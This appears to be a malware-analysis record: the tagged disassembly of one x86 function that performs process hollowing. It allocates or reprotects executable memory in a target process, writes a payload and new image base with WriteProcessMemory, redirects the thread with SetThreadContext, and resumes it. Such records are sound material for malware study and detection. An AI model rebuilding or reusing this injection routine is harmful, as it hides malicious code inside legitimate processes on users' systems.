Function at 0x408f3c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff10
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov edi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x18]
mov eax, dword [ebp - 4]
call fcn.00403cc0
mov eax, dword [ebp - 8]
call fcn.00403cc0
xor eax, eax
push ebp
push 0x409168
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 0xffffffff
push esi
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebx + 0x34]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00408c60
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0xf0]
mov edx, edi
mov eax, dword [ebp - 0x10]
call fcn.00408e08
test al, al
je 0x409145
xor eax, eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebx + 0x34]
cmp eax, dword [ebp - 0x14]
jne 0x408ff0
cmp esi, dword [ebp - 0x18]
ja 0x408ff0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x1c]
push eax
push 0x40
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_VirtualProtectEx
jmp 0x40905c
call fcn.00408c54
test al, al
je 0x40905c
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
call fcn.00408d68
test al, al
je 0x409021
push 0x40
push 0x3000
push esi
mov eax, dword [ebx + 0x34]
push eax
mov eax, dword [ebp - 0xc]
push eax
call dword [0x411190]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x40905c
mov eax, ebx
call fcn.00408ce4
test al, al
je 0x40905c
push 0x40
push 0x3000
push esi
push 0
mov eax, dword [ebp - 0xc]
push eax
call dword [0x411190]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x40905c
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp + 0x10]
mov eax, ebx
call fcn.00408cfc
cmp dword [ebp - 0x20], 0
je 0x409119
lea eax, [ebp - 0x1c]
push eax
push 4
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x4c]
add eax, 8
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_WriteProcessMemory
mov eax, dword [ebp - 0x20]
mov dword [ebx + 0x34], eax
lea eax, [ebp - 0x1c]
push eax
push esi
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x4090eb
mov dword [ebp - 0xf0], 0x10007
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x14]
jne 0x4090bd
mov eax, dword [ebx + 0x34]
add eax, dword [ebx + 0x28]
mov dword [ebp - 0x40], eax
jmp 0x4090c3
add eax, dword [ebx + 0x28]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0xf0]
push eax
mov eax, dword [ebp - 0x24]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [ebp - 0x24]
push eax
call sub.kernel32.dll_ResumeThread
mov eax, dword [ebp - 0x24]
push eax
mov eax, dword [0x414bf8]
mov eax, dword [eax]
call eax
jmp 0x409145
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp - 0x24]
push eax
mov eax, dword [0x414bf8]
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [0x414bf8]
mov eax, dword [eax]
call eax
mov dword [ebp - 0xc], 0xffffffff
jmp 0x409145
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp - 0x24]
push eax
mov eax, dword [0x414bf8]
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [0x414bf8]
mov eax, dword [eax]
call eax
mov dword [ebp - 0xc], 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40916f
lea eax, [ebp - 0x10]
call fcn.00403930
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403954
ret